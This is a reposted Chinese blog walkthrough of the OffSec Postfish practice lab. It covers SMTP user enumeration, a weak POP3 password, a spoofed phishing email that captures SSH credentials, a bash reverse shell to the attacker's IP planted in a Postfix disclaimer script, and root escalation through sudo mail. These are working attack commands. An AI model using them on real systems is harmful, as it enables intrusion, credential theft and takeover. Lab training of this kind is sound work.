OSCP中SMTP/POP3邮件服务攻击思路与实战总结(下)Postfish靶场

admin 2026-06-23 06:07:29 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细记录了OSCPPostfish靶场的完整攻击链,通过端口扫描发现SMTP/POP3服务,利用VRFY命令枚举用户信息,结合Web页面泄露的员工数据破解邮箱弱口令,伪造钓鱼邮件获取SSH凭据,最终通过PostfixDisclaimer权限和sudomail提权获得root权限。攻击过程展示了邮件服务常见漏洞利用手法和权限提升技巧。 综合评分: 85 文章分类: 渗透测试,WEB安全,红队,内网渗透,实战经验


cover_image

OSCP 中 SMTP / POP3 邮件服务攻击思路与实战总结(下) Postfish靶场

原创

网安布道师 网安布道师

六边形攻防安全

2026年6月22日 07:50 河北

在小说阅读器读本章

去阅读

在上篇文章OSCP 中 SMTP / POP3 邮件服务攻击思路与实战总结(上)中我们介绍了邮件服务器的常见攻击思路,本篇就我觉得比较不错的相关靶场分享给大家,这个writeup由ai进行整理,目前ai对一般的oscp靶场给了思路基本几分钟就能做出来,效果还是很不错的,但对于实际的渗透还差点儿意思。下面一起来看下关于offsec中 Postfish中的wp。

靶场链接:

https://portal.offsec.com/machine/postfish-639/overview/details

端口枚举

全端口扫描:

nmap -Pn -p- --min-rate 5000 192.168.206.137 -oN 206137_nmap_all_ports.txt

开放端口:

22/tcp  open  ssh25/tcp  open  smtp80/tcp  open  http110/tcp open  pop3143/tcp open  imap993/tcp open  imaps995/tcp open  pop3s

服务识别:

nmap -Pn -sV -sC -p21,22,25,80,110,143,443,465,587,993,995,8080,10000 \  192.168.206.137 -oN 206137_nmap_common_services.txt

关键结果:

22/tcp  OpenSSH 8.2p1 Ubuntu 4ubuntu0.125/tcp  Postfix smtpd80/tcp  Apache httpd 2.4.41110/tcp Dovecot pop3d143/tcp Dovecot imapd993/tcp Dovecot imapd over SSL995/tcp Dovecot pop3d over SSL

SMTP banner 泄露域名:

postfish.off

并且 SMTP 支持 VRFY:

25/tcp open smtp Postfix smtpd|_smtp-commands: postfish.off, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ...

Web 枚举

直接访问 IP 会跳转到域名:

curl -i http://192.168.206.137/

返回:

<meta&nbsp;http-equiv='refresh'&nbsp;content='0; URL=http://postfish.off/'>

使用 Host 头访问或者修改本机hosts文件:

curl -i -H&nbsp;'Host: postfish.off'&nbsp;http://192.168.206.137/

首页存在 team.html:

curl&nbsp;-s -H 'Host: postfish.off' http://192.168.206.137/team.html -o&nbsp;206137_team.html

团队页发现 4 个员工:

Claire&nbsp;Madison &nbsp;- HR SpecialistMike Ross &nbsp; &nbsp; &nbsp; - IT ProBrian Moore &nbsp; &nbsp; - Sales ManagerSarah Lorem &nbsp; &nbsp; - Legal Advisor

SMTP 用户枚举

先简单测试 SMTP:

nc&nbsp;-nv&nbsp;192.168.206.137&nbsp;25

交互:

EHLO&nbsp;kaliVRFY rootVRFY postfishVRFY adminQUIT

结果:

252&nbsp;2.0.0&nbsp;root550&nbsp;5.1.1&nbsp;<postfish>: Recipient address rejected: User unknown in local recipient table550&nbsp;5.1.1&nbsp;<admin>: Recipient address rejected: User unknown in local recipient table

根据团队页生成用户名:

cat&nbsp;> 206137_team_users.txt <<'EOF'clairemadisoncmadisonclaire.madisonclairemadisonmikerossmrossmike.rossmikerossbrianmoorebmoorebrian.moorebrianmooresarahloremsloremsarah.loremsarahloremhrsaleslegalitEOF

用 smtp-user-enum 枚举:

smtp-user-enum -M VRFY -U&nbsp;206137_team_users.txt -t&nbsp;192.168.206.137&nbsp;-p&nbsp;25&nbsp;\&nbsp; | tee&nbsp;206137_smtp_enum_team.txt

确认有效用户:

claire.madisonmike.rossbrian.mooresarah.loremsaleshrlegalit

POP3 读 Sales 邮箱

根据部门邮箱尝试弱口令或者使用hydra进行爆破(hydra -L users.txt -P passwords.txt pop3://),发现:

sales:sales

手工验证:

nc&nbsp;-nv&nbsp;192.168.206.137&nbsp;110

交互:

USER&nbsp;salesPASS&nbsp;salesSTATLISTRETR&nbsp;1QUIT

也可以用 Python 拉取:

import poplibM = poplib.POP3('192.168.206.137', 110,&nbsp;timeout=60)M.user('sales')M.pass_('sales')print('STAT', M.stat())for&nbsp;i&nbsp;in&nbsp;range(1, M.stat()[0] + 1):&nbsp; &nbsp;&nbsp;print('--- MESSAGE', i,&nbsp;'---')&nbsp; &nbsp; _, lines, _ = M.retr(i)&nbsp; &nbsp;&nbsp;print('\n'.join(l.decode(errors='replace')&nbsp;for&nbsp;l&nbsp;in&nbsp;lines))M.quit()PY

这里给出钓鱼方向: 伪造 IT 给 Sales Manager 发送密码重置链接。

钓鱼获取 Brian 凭据

从团队页可知 Brian Moore 是 Sales Manager,对应邮箱:

[email protected]

在本机监听 80 端口:

nc&nbsp;-lvnp&nbsp;80

注意这里要用 80 端口。发 8000 端口的链接不会触发目标预期访问。

伪造 [email protected] 发邮件给 Brian:

python3 - <<'PY'import&nbsp;smtplibfrom&nbsp;email.message&nbsp;import&nbsp;EmailMessage
msg = EmailMessage()msg['From'] =&nbsp;'[email protected]'msg['To'] =&nbsp;'[email protected]'msg['Subject'] =&nbsp;'Password reset process'msg.set_content('''Hi Brian,
Please follow this link to reset your password: http://192.168.45.236/
Regards,IT''')
with&nbsp;smtplib.SMTP('192.168.206.137',&nbsp;25, timeout=10)&nbsp;as&nbsp;s:&nbsp; &nbsp; s.ehlo('test')&nbsp; &nbsp; s.send_message(msg)&nbsp; &nbsp;&nbsp;print('sent')PY

或者使用swaks命令

swaks&nbsp;\&nbsp; --server&nbsp;192.168.206.137&nbsp;\&nbsp; --port&nbsp;25&nbsp;\&nbsp; --from [email protected]&nbsp;\&nbsp; --to [email protected]&nbsp;\&nbsp; --h-Subject&nbsp;"Password reset process"&nbsp;\&nbsp; --body $'Hi Brian,\n\nPlease follow this link to reset your password: http://192.168.45.236/\n\nRegards,\nIT'

监听收到 POST 请求:

得到凭据:

brian.moore:EternaLSunshinE

SSH 登录 Brian

验证:

idpwd

结果:

uid=1000(brian.moore) gid=1000(brian.moore)&nbsp;groups=1000(brian.moore),8(mail),997(filter)/home/brian.moore

local.txt

读取:

cat&nbsp;/home/brian.moore/local.txt

Postfix Disclaimer 提权到 filter

Brian 属于 filter 组:

groups=1000(brian.moore),8(mail),997(filter)

检查 Postfix disclaimer:

ls&nbsp;-la /etc/postfix/disclaimer*sed -n&nbsp;'1,220p'&nbsp;/etc/postfix/disclaimercat&nbsp;/etc/postfix/disclaimer_addressesgrep -R&nbsp;"disclaimer"&nbsp;-n /etc/postfix /etc 2>/dev/null |&nbsp;head&nbsp;-50

关键权限:

-rwxrwx---&nbsp;1&nbsp;root filter&nbsp;1184&nbsp;/etc/postfix/disclaimer-rw-r--r--&nbsp;1&nbsp;root root &nbsp; &nbsp;&nbsp;41&nbsp;/etc/postfix/disclaimer_addresses

master.cf 中配置:

dfilt unix - n n - -&nbsp;pipe&nbsp;flags=Rq user=filter argv=/etc/postfix/disclaimer -f&nbsp;${sender}&nbsp;--&nbsp;${recipient}

也就是说邮件触发 disclaimer 时,/etc/postfix/disclaimer 会以 filter 用户执行。

disclaimer_addresses 内容:

[email protected]@postfish.off

备份并插入反弹 shell:

cp&nbsp;/etc/postfix/disclaimer /tmp/disclaimer.bak
python3&nbsp;-&nbsp;<<'PY'from pathlib&nbsp;import&nbsp;Pathp&nbsp;=&nbsp;Path('/etc/postfix/disclaimer')s&nbsp;=&nbsp;p.read_text()line&nbsp;=&nbsp;"/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.236/4444 0>&1'\n"if&nbsp;line not&nbsp;in&nbsp;s:&nbsp; &nbsp; s&nbsp;=&nbsp;s.replace('#!/bin/bash\n', '#!/bin/bash\n'&nbsp;+&nbsp;line,&nbsp;1)p.write_text(s)PY

本机监听:

nc&nbsp;-lvnp&nbsp;4444

发送触发邮件,From 使用 disclaimer_addresses 里的 [email protected]:

python3 - <<'PY'import&nbsp;smtplibfrom&nbsp;email.message&nbsp;import&nbsp;EmailMessage
msg = EmailMessage()msg['From'] =&nbsp;'[email protected]'msg['To'] =&nbsp;'[email protected]'msg['Subject'] =&nbsp;'trigger'msg.set_content('trigger')
with&nbsp;smtplib.SMTP('192.168.206.137',&nbsp;25, timeout=10)&nbsp;as&nbsp;s:&nbsp; &nbsp; s.ehlo('test')&nbsp; &nbsp; s.send_message(msg)&nbsp; &nbsp;&nbsp;print('sent')PY

收到 shell:

connect to [192.168.45.236] from&nbsp;192.168.206.137filter@postfish:/var/spool/postfix$

验证:

id

结果:

uid=997(filter) gid=997(filter)&nbsp;groups=997(filter)

sudo mail 提权

查看 sudo 权限:

sudo&nbsp;-l

结果:

User&nbsp;filter&nbsp;may run the following commands&nbsp;on&nbsp;postfish:&nbsp; &nbsp; (ALL) NOPASSWD:&nbsp;/usr/bin/mail&nbsp;*

利用 mail 的 --exec 执行 shell:

sudo&nbsp;/usr/bin/mail --exec='!/bin/bash'

验证:

id

结果:

uid=0(root) gid=0(root) groups=0(root)

proof.txt

读取:

ounter(linecat&nbsp;/root/proof.txt

总结

攻击链:

nmap 枚举邮件服务->&nbsp;SMTP 支持 VRFY->&nbsp;Web team.html 泄露员工姓名和职位->&nbsp;VRFY 枚举出 firstname.lastname 邮箱格式->&nbsp;POP3 弱口令 sales:sales->&nbsp;读取 sales 邮箱,发现 IT 会发送 ERP 密码重置链接->&nbsp;伪造 [email protected] 给 [email protected] 发钓鱼邮件->&nbsp;nc 监听 80,收到 brian.moore:EternaLSunshinE->&nbsp;SSH 登录 brian.moore,读取 local.txt->&nbsp;brian.moore 属于 filter 组,可写 /etc/postfix/disclaimer->&nbsp;修改 disclaimer 插入反弹 shell->&nbsp;发邮件触发 Postfix filter,获得 filter shell->&nbsp;filter 可免密&nbsp;sudo&nbsp;/usr/bin/mail *->&nbsp;sudo&nbsp;/usr/bin/mail --exec='!/bin/bash'->&nbsp;root,读取 /root/proof.txt

这题的打点结合web信息搜集、smtp和pop3爆破、smtp发送邮件、linux提权等,可以让大家深入理解收发邮件服务的攻击利用方式。希望大家以后遇到邮件服务器不再迷茫😊。

另外这题我也尝试部署到了我的靶场平台,感兴趣的同学赶快去试一下吧,靶场注册方式见之前文章。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:六边形攻防安全 网安布道师 网安布道师《OSCP 中 SMTP / POP3 邮件服务攻击思路与实战总结(下) Postfish靶场》

涉我资讯专刊-第35期 网络安全文章

涉我资讯专刊-第35期

文章总结: 该文档为第35期安全资讯专刊,内容涵盖暗网论坛动态5条、开源情报信息14条及X平台相关动态2条,属于日常安全威胁情报汇总类简报。文档结构简洁,但未提
评论:0   参与:  0